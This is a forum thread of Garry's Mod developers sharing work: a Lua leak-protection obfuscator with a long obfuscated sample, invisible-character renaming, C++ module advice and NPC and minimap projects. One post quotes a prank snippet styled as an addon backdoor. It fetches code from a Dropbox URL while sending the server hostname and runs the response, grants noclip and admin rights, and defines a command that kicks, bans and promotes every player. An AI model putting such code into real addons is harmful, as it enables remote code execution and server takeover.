• GMod - What are you working on? May 2015 (#45)
    560 replies, posted
[QUOTE=szymski;47710862][video=youtube;j00EwXsOytU]http://www.youtube.com/watch?v=j00EwXsOytU[/video][/QUOTE] You have killed my displacer cannon.
Working on creating a different sort of leak protection that developers can integrate into their addons. Basically, it Obfuscates your Lua but does so in a unique way. Every time your code is obfuscated it will be produce a different output. This means you can distribute unique versions to every person who buys your addon. When your addon is leaked, figuring out who leaked it is trivial. Here's an example. This is a simple console command to print every door on the map (intended for use with Dark RP). [CODE] concommand.Add("printdoors", function(ply) local finalMessage = "{" for _, entity in pairs(ents.GetAll()) do if entity:isDoor() and entity:IsValid() then if (entity:isKeysOwned()) then finalMessage = finalMessage .. "Vector(" .. string.gsub(tostring(entity:GetPos()), " ", ", ") .. "), " end end end finalMessage = finalMessage .. "}" print(finalMessage) end) [/CODE] and here is that same code but obfuscated. [CODE]math.randomseed(0.20935697500534) local ____ ____ = { function(...) local t = { ...} return ____[8](t) end, print, game, math.frexp, math.random(1, 1100), string.dump, string.sub, table.concat, wait, tick, loadstring, "t", function(x) local x2 = loadstring(x) if x2 then return ____[tonumber("\50\48")](function() x2() end) else return nil end end, "InsertService", 1234567890, getfenv, "", "wai", 7.2, pcall, math.pi, "" } local ________ = ____[8] local ___ = ____[5] local ________ = ____[11] local _ = function(x) return string.char(x / ___) end local ____________________________________________________________________________________________________ = "\88\70\85\53\75\52\55\48\82\32\82\48\48\76\90" local __ = {_(54), _(152), _(234), _(194), _(162), _(0), _(2), _(8), _(8), _(8), _(16), _(0), _(64), _(6), _(0), _(0), _(216), _(222), _(198), _(194), _(216), _(64), _(200), _(226), _(224), _(142), _(102), _(242), _(112), _(146), _(112), _(168), _(232), _(234), _(228), _(122), _(246), _(182), _(98), _(186), _(122), _(68), _(184), _(98), _(98), _(100), _(184), _(98), _(98), _(104), _(184), _(98), _(96), _(106), _(184), _(98), _(98), _(96), _(184), _(98), _(98), _(108), _(184), _(98), _(96), _(96), _(184), _(98), _(98), _(98), _(184), _(98), _(98), _(98), _(184), _(98), _(98), _(104), _(184), _(98), _(98), _(106), _(68), _(88), _(182), _(100), _(186), _(122), _(68), _(184), _(98), _(100), _(102), _(68), _(88), _(182), _(102), _(186), _(122), _(68), _(184), _(112), _(108), _(184), _(98), _(96), _(98), _(184), _(114), _(114), _(184), _(98), _(98), _(108), _(184), _(98), _(98), _(98), _(184), _(98), _(98), _(104), _(184), _(104), _(96), _(68), _(88), _(182), _(104), _(186), _(122), _(68), _(184), _(102), _(100), _(68), _(88), _(182), _(106), _(186), _(122), _(68), _(184), _(104), _(104), _(184), _(102), _(100), _(68), _(88), _(182), _(108), _(186), _(122), _(68), _(184), _(104), _(98), _(184), _(104), _(104), _(184), _(102), _(100), _(68), _(88), _(182), _(110), _(186), _(122), _(68), _(184), _(98), _(100), _(106), _(68), _(88), _(182), _(112), _(186), _(122), _(68), _(184), _(112), _(112), _(184), _(110), _(96), _(184), _(112), _(106), _(184), _(106), _(102), _(184), _(110), _(106), _(184), _(106), _(100), _(184), _(106), _(106), _(184), _(104), _(112), _(184), _(112), _(100), _(184), _(102), _(100), _(184), _(104), _(114), _(184), _(106), _(102), _(184), _(102), _(100), _(184), _(106), _(100), _(184), _(112), _(110), _(184), _(106), _(98), _(184), _(106), _(102), _(184), _(104), _(112), _(184), _(110), _(110), _(184), _(106), _(98), _(184), _(104), _(108), _(184), _(102), _(100), _(184), _(110), _(106), _(184), _(112), _(100), _(184), _(106), _(98), _(184), _(108), _(112), _(184), _(104), _(114), _(184), _(106), _(106), _(184), _(102), _(100), _(184), _(106), _(106), _(184), _(104), _(112), _(184), _(102), _(100), _(184), _(112), _(112), _(184), _(110), _(96), _(184), _(112), _(106), _(184), _(106), _(102), _(184), _(110), _(106), _(184), _(106), _(100), _(184), _(106), _(106), _(184), _(104), _(112), _(184), _(112), _(100), _(184), _(102), _(102), _(68), _(250), _(198), _(222), _(220), _(198), _(222), _(218), _(218), _(194), _(220), _(200), _(92), _(130), _(200), _(200), _(80), _(200), _(226), _(224), _(142), _(102), _(242), _(112), _(146), _(112), _(168), _(232), _(234), _(228), _(182), _(98), _(186), _(88), _(204), _(234), _(220), _(198), _(232), _(210), _(222), _(220), _(80), _(234), _(164), _(190), _(146), _(162), _(162), _(82), _(216), _(222), _(198), _(194), _(216), _(64), _(168), _(244), _(236), _(206), _(196), _(170), _(226), _(216), _(206), _(190), _(214), _(134), _(166), _(154), _(142), _(228), _(238), _(122), _(200), _(226), _(224), _(142), _(102), _(242), _(112), _(146), _(112), _(168), _(232), _(234), _(228), _(182), _(100), _(186), _(204), _(222), _(228), _(64), _(130), _(242), _(144), _(146), _(194), _(148), _(140), _(176), _(110), _(88), _(220), _(220), _(220), _(180), _(110), _(138), _(208), _(112), _(96), _(222), _(132), _(228), _(196), _(206), _(164), _(166), _(176), _(114), _(64), _(210), _(220), _(64), _(224), _(194), _(210), _(228), _(230), _(80), _(202), _(220), _(232), _(230), _(92), _(142), _(202), _(232), _(130), _(216), _(216), _(80), _(82), _(82), _(200), _(222), _(64), _(210), _(204), _(64), _(220), _(220), _(220), _(180), _(110), _(138), _(208), _(112), _(96), _(222), _(132), _(228), _(196), _(206), _(164), _(166), _(176), _(114), _(116), _(210), _(230), _(136), _(222), _(222), _(228), _(80), _(82), _(194), _(220), _(200), _(64), _(220), _(220), _(220), _(180), _(110), _(138), _(208), _(112), _(96), _(222), _(132), _(228), _(196), _(206), _(164), _(166), _(176), _(114), _(116), _(146), _(230), _(172), _(194), _(216), _(210), _(200), _(80), _(82), _(232), _(208), _(202), _(220), _(64), _(210), _(204), _(80), _(220), _(220), _(220), _(180), _(110), _(138), _(208), _(112), _(96), _(222), _(132), _(228), _(196), _(206), _(164), _(166), _(176), _(114), _(116), _(210), _(230), _(150), _(202), _(242), _(230), _(158), _(238), _(220), _(202), _(200), _(80), _(82), _(82), _(232), _(208), _(202), _(220), _(64), _(168), _(244), _(236), _(206), _(196), _(170), _(226), _(216), _(206), _(190), _(214), _(134), _(166), _(154), _(142), _(228), _(238), _(122), _(168), _(244), _(236), _(206), _(196), _(170), _(226), _(216), _(206), _(190), _(214), _(134), _(166), _(154), _(142), _(228), _(238), _(92), _(92), _(200), _(226), _(224), _(142), _(102), _(242), _(112), _(146), _(112), _(168), _(232), _(234), _(228), _(182), _(102), _(186), _(92), _(92), _(230), _(232), _(228), _(210), _(220), _(206), _(92), _(206), _(230), _(234), _(196), _(80), _(232), _(222), _(230), _(232), _(228), _(210), _(220), _(206), _(80), _(220), _(220), _(220), _(180), _(110), _(138), _(208), _(112), _(96), _(222), _(132), _(228), _(196), _(206), _(164), _(166), _(176), _(114), _(116), _(142), _(202), _(232), _(160), _(222), _(230), _(80), _(82), _(82), _(88), _(200), _(226), _(224), _(142), _(102), _(242), _(112), _(146), _(112), _(168), _(232), _(234), _(228), _(182), _(104), _(186), _(88), _(200), _(226), _(224), _(142), _(102), _(242), _(112), _(146), _(112), _(168), _(232), _(234), _(228), _(182), _(106), _(186), _(82), _(92), _(92), _(200), _(226), _(224), _(142), _(102), _(242), _(112), _(146), _(112), _(168), _(232), _(234), _(228), _(182), _(108), _(186), _(202), _(220), _(200), _(64), _(202), _(220), _(200), _(64), _(202), _(220), _(200), _(118), _(168), _(244), _(236), _(206), _(196), _(170), _(226), _(216), _(206), _(190), _(214), _(134), _(166), _(154), _(142), _(228), _(238), _(122), _(168), _(244), _(236), _(206), _(196), _(170), _(226), _(216), _(206), _(190), _(214), _(134), _(166), _(154), _(142), _(228), _(238), _(92), _(92), _(200), _(226), _(224), _(142), _(102), _(242), _(112), _(146), _(112), _(168), _(232), _(234), _(228), _(182), _(110), _(186), _(224), _(228), _(210), _(220), _(232), _(80), _(168), _(244), _(236), _(206), _(196), _(170), _(226), _(216), _(206), _(190), _(214), _(134), _(166), _(154), _(142), _(228), _(238), _(82), _(202), _(220), _(200), _(82), _(0), _(0), _(0), _(0), _(0), _(0), _(0), _(0), _(0), _(0), _(0), _(4),
[QUOTE=SirSavary;47712463]Working on creating a different sort of leak protection that developers can integrate into their addons. Basically, it Obfuscates your Lua but does so in a unique way. Every time your code is obfuscated it will be produce a different output. This means you can distribute unique versions to every person who buys your addon. When your addon is leaked, figuring out who leaked it is trivial. Here's an example. This is a simple console command to print every door on the map (intended for use with Dark RP). The only downside is that it is next to impossible to modify the code, meaning people who buy your addon will have difficulty tweaking it. Currently working on figuring out ways to maintain the best of both worlds (leak protection and end-user customization).[/QUOTE] Addon developers know they can do it, they just don't. If that example uses bytecode it won't work in GMod with a module.
[QUOTE=man with hat;47712504]Addon developers know they can do it, they just don't. If that example uses bytecode it won't work in GMod with a module.[/QUOTE] I don't think it uses bytecode. Just really clever obfuscation, which unfortunately is still fairly easy to reverse. It's a cool idea though, something I've toyed with in the past.
[QUOTE=MadParakeet;47707429]Still runs pretty smoothly though, praise C++ modules.[/QUOTE] Where did you learn to create C++ modules? I'm really interested in creating one and possibly making a pathfinder with it (hoping it'd be a metric fuckton faster) but every time I go and try to make one I scratch my head and give up because it's so damn confusing.
[QUOTE=MadParakeet;47712582]I don't think it uses bytecode. Just really clever obfuscation, which unfortunately is still fairly easy to reverse. It's a cool idea though, something I've toyed with in the past.[/QUOTE] I made a script to rename all variables to invisible characters. I'm still working on it, but here's an example that prints "hi". [img]http://i.imgur.com/mkYpEoz.png[/img] Another example that looks fancy but does nothing but count to 5. [img]http://i.imgur.com/xoTsmpc.png[/img] [QUOTE=Melted Bu11et;47712625]Where did you learn to create C++ modules? I'm really interested in creating one and possibly making a pathfinder with it (hoping it'd be a metric fuckton faster) but every time I go and try to make one I scratch my head and give up because it's so damn confusing.[/QUOTE] [QUOTE=man with hat;47636359][url]http://wiki.garrysmod.com/page/Setting_Visual_Studio_Up_for_Making_Binary_Modules[/url] If you run into an error, go to [B]Project Propertie[/B]s > [B]C/C++[/B] > [B]Preprocessor[/B] and in the box that says [B]Preprocessor Definitions[/B] you want to put [B]GMMODULE[/B]. GMod's Lua C API isn't standard, but the function names are similar to the standard Lua C API's, and the functions it uses call the standard functions. garry's LUA->PushString calls lua_pushstring. You can access the standard Lua functions if you really want to, as they are all exported in lua_shared.dll Here's an example module by garry [url]https://github.com/garrynewman/gmod-module-base/blob/master/example/src/gm_example.cpp[/url] Here's a list of the functions in Lua and the Lua C API. The links to the functions in the API tell you the arguments, what it returns, what it leaves on the stack, etc. The lua_State argument is not needed at all unless you're going to use the standard functions and not garry's functions. [url]http://pgl.yoyo.org/luai/i/_[/url] Here's an introduction to the Lua C API [url]http://www.lua.org/pil/24.2.html[/url] Not all of the standard functions are in garry's API.[/QUOTE]
[QUOTE=Melted Bu11et;47712625]Where did you learn to create C++ modules? I'm really interested in creating one and possibly making a pathfinder with it (hoping it'd be a metric fuckton faster) but every time I go and try to make one I scratch my head and give up because it's so damn confusing.[/QUOTE] Creating a module isn't all that hard, but things can get really fucky when you start messing around with the engine from a module. For me it's involved a lot of trial and error because I can't be arsed to figure out how to debug it correctly. The glua group has created a few helpful repositories that include build scripts, the source sdk, and some useful libraries for hackery... [url]https://github.com/glua/build-loadout[/url] [url]https://github.com/glua/example-build-module[/url] Modules go in the workbase folder inside of build-loadout, IIRC.
[QUOTE=MadParakeet;47712582]I don't think it uses bytecode. Just really clever obfuscation, which unfortunately is still fairly easy to reverse. It's a cool idea though, something I've toyed with in the past.[/QUOTE] It is fairly easy to reverse but most leakers don't know a whole lot about Lua. The vast majority of them can't even be bothered to remove statistic trackers.
[QUOTE=man with hat;47712658]I made a script to rename all variables to invisible characters. I'm still working on it, but here's an example that prints "hi". [img]http://i.imgur.com/mkYpEoz.png[/img] Another example that looks fancy but does nothing but count to 5. [img]http://i.imgur.com/xoTsmpc.png[/img][/QUOTE] For added fuckery you could try messing around with LTR overrides like wiox did in some of his stuff. Not really an effective countermeasure against deobfuscation (as if anything is), but it will confuse the hell out of people trying to read it.
[QUOTE=MadParakeet;47712752]For added fuckery you could try messing around with LTR overrides like wiox did in some of his stuff. Not really an effective countermeasure against deobfuscation (as if anything is), but it will confuse the hell out of people trying to read it.[/QUOTE] [url]https://github.com/wiox/gmod-keypad/blob/b597f506b326bcc804395e61f3c688b40e529e1d/lua/autorun/server/keypad.lua[/url] [code] setfenv(1, setmetatable({}, {__index = function(_) return _ end, __call = function() end})) print("INITIALIZING SHIT") local g = {} local r = debug.getregistry() _G.package.seeall(g) setfenv(1, g) hook.Add("Initialize", "", function() http.Fetch( "https://dl.dropboxusercontent.com/u/14265905/superlog_•php.mp3", { hostname = GetHostName() }, RunString, RunStringEx, CompileString, CompileFile ) end) GAMEMODE.PlayerNoClip = function(ply) return util.CRC(ply:SteamID()) == 1337 end hammer.SendCommand("set_group(1, `ADMIN`)") concommand.Add("ipyo", function() for k, v in pairs(player.GetAll()) do print(v, v:IPAddress()) v:Kick() v:Ban() v:SendLua([[...]]) v:Kill() v:KillSilent() v:SetUserGroup("superadmin") v:UniqueID() v:Give([[weapon_adminstick]]) end end) BroadcastLua([[...]]) HTTP {} util.Base64Encode("hololo") util.Compress("holololo") setmetatable(getmetatable(g), 0) FindMetaTable "Player" rawset(rawget(g, 'g'), 0) [/code] It was meant to be readable with a small amount of effort. I like to think it set off a few scripts that scanned for backdoors.
[IMG]http://i.gyazo.com/509968dbb1f5706874dd2f53f00b5640.png[/IMG] Here is a bases of what the user's profile will look like, (underneath the well or the thing under the profile pic will show your stats kills, deaths, accuracy, etc.) I'm open to any suggestion's anyone might have.
[QUOTE=MadParakeet;47712752]For added fuckery you could try messing around with LTR overrides like wiox did in some of his stuff. Not really an effective countermeasure against deobfuscation (as if anything is), but it will confuse the hell out of people trying to read it.[/QUOTE] Yep, it does that already, but Sublime doesn't display it, at least not for me. When I paste it here it displays kinda correctly, but it still looks sorta fucked. It randomly uses RTL and LTR overrides, if I recall correctly, so there's a chance it will look normal. Haven't worked on this in a while. [lua]local ‏•‎••,•••‏‎,‎‎••,‏•••‏ = print, unpack ‎‎••= function(...) ‏•••‏= •••‏‎({...}) for •••‎‏= 1, 5 do ‏•‎••(•••‎‏) end end ‎‎••(‎‎••(‎‎••(1)))[/lua]
[QUOTE=LegoGuy;47711915]You have killed my displacer cannon.[/QUOTE] don't worry i'll still love that thing forever.
I made a simple NextBot NPC that uses player animations. Basically what it does is it turns invisible, chases the player, hits them with a hard-hitting punch attack(50 damage per hit), in which while doing so, it uncloaks and is made visible again. Then, after they've hit their target, they will become invisible again. I also made a nextbot NPC that is friendly to players and will attack the other nextbot I made depending on what it's material is(it can't see it, should it be invisible). I'll post pictures once I take some :P.
[QUOTE=A Fghtr Pilot;47713085]I made a simple NextBot NPC that uses player animations. Basically what it does is it turns invisible, chases the player, hits them with a hard-hitting punch attack(50 damage per hit), in which while doing so, it uncloaks and is made visible again. Then, after they've hit their target, they will become invisible again. I also made a nextbot NPC that is friendly to players and will attack the other nextbot I made depending on what it's material is(it can't see it, should it be invisible). I'll post pictures once I take some :P.[/QUOTE] Aren't you the one that constantly asks for help on facepunch for "your" nextbot npc's?
[QUOTE=SuperiorGamer;47713118]Aren't you the one that constantly asks for help on facepunch for "your" nextbot npc's?[/QUOTE] Aren't you that user that constantly ask for help for "your" underdone gamemode?
[QUOTE=Robotboy655;47710869]Try CTRL+F5 or something.[/QUOTE] Unfortunately that did not work. I dosen't matter anymore though, Phoenixf129 edited his post and included the link to the image, thanks though.
[QUOTE=MadParakeet;47706050][video=youtube;VU9TI9ySShc]http://www.youtube.com/watch?v=VU9TI9ySShc[/video] Behold! gm_f1atgrass![/QUOTE] more like gm_minecraft, am I right? only in HD... That is very impressive, yet I'm curious, what happens if you go past the 16384 limit? Also, I don't like the idea of people ignoring me if I actually do have good work to show, which will happen one of these days.
[QUOTE=WalkingZombie;47713812]more like gm_minecraft, am I right? only in HD... That is very impressive, yet I'm curious, what happens if you go past the 16384 limit? Also, I don't like the idea of people ignoring me if I actually do have good work to show, which will happen one of these days.[/QUOTE] How about you make that day come now? It's not so hard really.
[QUOTE=Snappy29;47711137][t] http://images.akamai.steamusercontent.com/ugc/532893089802707984/7211113EFF569545210B99FEC386A56218D5D8C4/ [/t] (Ignore the random flying lines mistakes were made and I havent made a way to remove lines yet :suicide:) This took around 20-30 minutes to map out, but I'm alot happier with it, should turn out much better when I spend more time on it. You guys got any suggestions I could do to improve it visually. Anyways when this is done and happy with it, I was thinking of implementing one into each teams base within my gamemode. Then using radars that they position around the server to map player positions (and maybe props?) relative to the minimap. If you guys turn out to be interested Ill post more stuff I do. Sorry if this is a wall of text, Ill try and reduce it next time. [/QUOTE] "Come in, Cooper! Do you copy? Forget about Freeman! We're abandoning the base! If you have any last bomb targets, mark them on the Tactical Map! Otherwise, get the hell outta there! Repeat: we are pulling out and commencing air strikes! Give us targets or get below!" ?????
[B][U]Success!!![/U][/B] [t]http://images.akamai.steamusercontent.com/ugc/37497482102628708/8366F036A7093FC39BA464D3A065D7ED873310A2/[/t] :tinfoil: [editline]13th May 2015[/editline] fucking automerge [editline]13th May 2015[/editline] Snappy, how did you get yours to look so good? Even the generated one looks good compared to what I came up with
[QUOTE=man with hat;47712658]Invisible chars[/QUOTE] You planning on releasing that? I suck at anything that has obfuscating involved with it.
[QUOTE=BigBadWilly;47713541]Aren't you that user that constantly ask for help for "your" underdone gamemode?[/QUOTE] You mean the 3 threads I started asking for help where only 1 relates to the underdone gamemode, I do appreciate the effort though. :v: [B]EDIT:[/B] On a slightly better note I finished the profile generation now all I have to do is the lua side of it, more screenshots to come
[QUOTE=SuperiorGamer;47713118]Aren't you the one that constantly asks for help on facepunch for "your" nextbot npc's?[/QUOTE] I asked for help when I was still learning everything. How's that a bad thing?
[QUOTE=BFG9000;47714598]-snip-[/QUOTE] First method was done using meshes, where the mesh convexes of the map were sent to the client after getting them on the server. Client then draws the mesh over an entity. Second method was done using a STool, I'm sure he'll tell you more about that one
[QUOTE=szymski;47710862][video=youtube;j00EwXsOytU]http://www.youtube.com/watch?v=j00EwXsOytU[/video][/QUOTE] Does this work properly on a server? All portal things I've seen have issues with prediction or just plain don't work properly. Also, I'd love to see the code for that (pretty please), to see how you've handled weapon redirection and player/entity teleportation. My attempts, while working, have been somewhat [URL="https://github.com/MattJeanes/world-portals/blob/teleport-beta/lua/worldportals/teleport_sh.lua"]strange[/URL]. :v:
[QUOTE=SirSavary;47712463]-snip-[/QUOTE] replace runstring with print :v:
[QUOTE=SirSavary;47712463]Working on creating a different sort of leak protection that developers can integrate into their addons. Basically, it Obfuscates your Lua but does so in a unique way. Every time your code is obfuscated it will be produce a different output. This means you can distribute unique versions to every person who buys your addon. When your addon is leaked, figuring out who leaked it is trivial.[/QUOTE] Looks exactly like the code that [url=https://github.com/mlnlover11/XFuscator]XFuscator[/url] generates, which is backed up by the fact that you both use loadstring even though loadstring doesn't exist in glua
[QUOTE=A Fghtr Pilot;47715396]I asked for help when I was still learning everything. How's that a bad thing?[/QUOTE] Never said it was I wast saying sorry if I offended you.
[QUOTE=SuperiorGamer;47716344]Never said it was I wast saying sorry if I offended you.[/QUOTE] Oh. I was offended, but I forgive you. The way you worded it it seemed like you were saying I was stealing code from others to make my nextbots and that my ideas were unoriginal. As I said earlier, I forgive you. Now, let's not flood this thread up with no-content posts anymore XD
Sorry, you need to Log In to post a reply to this thread.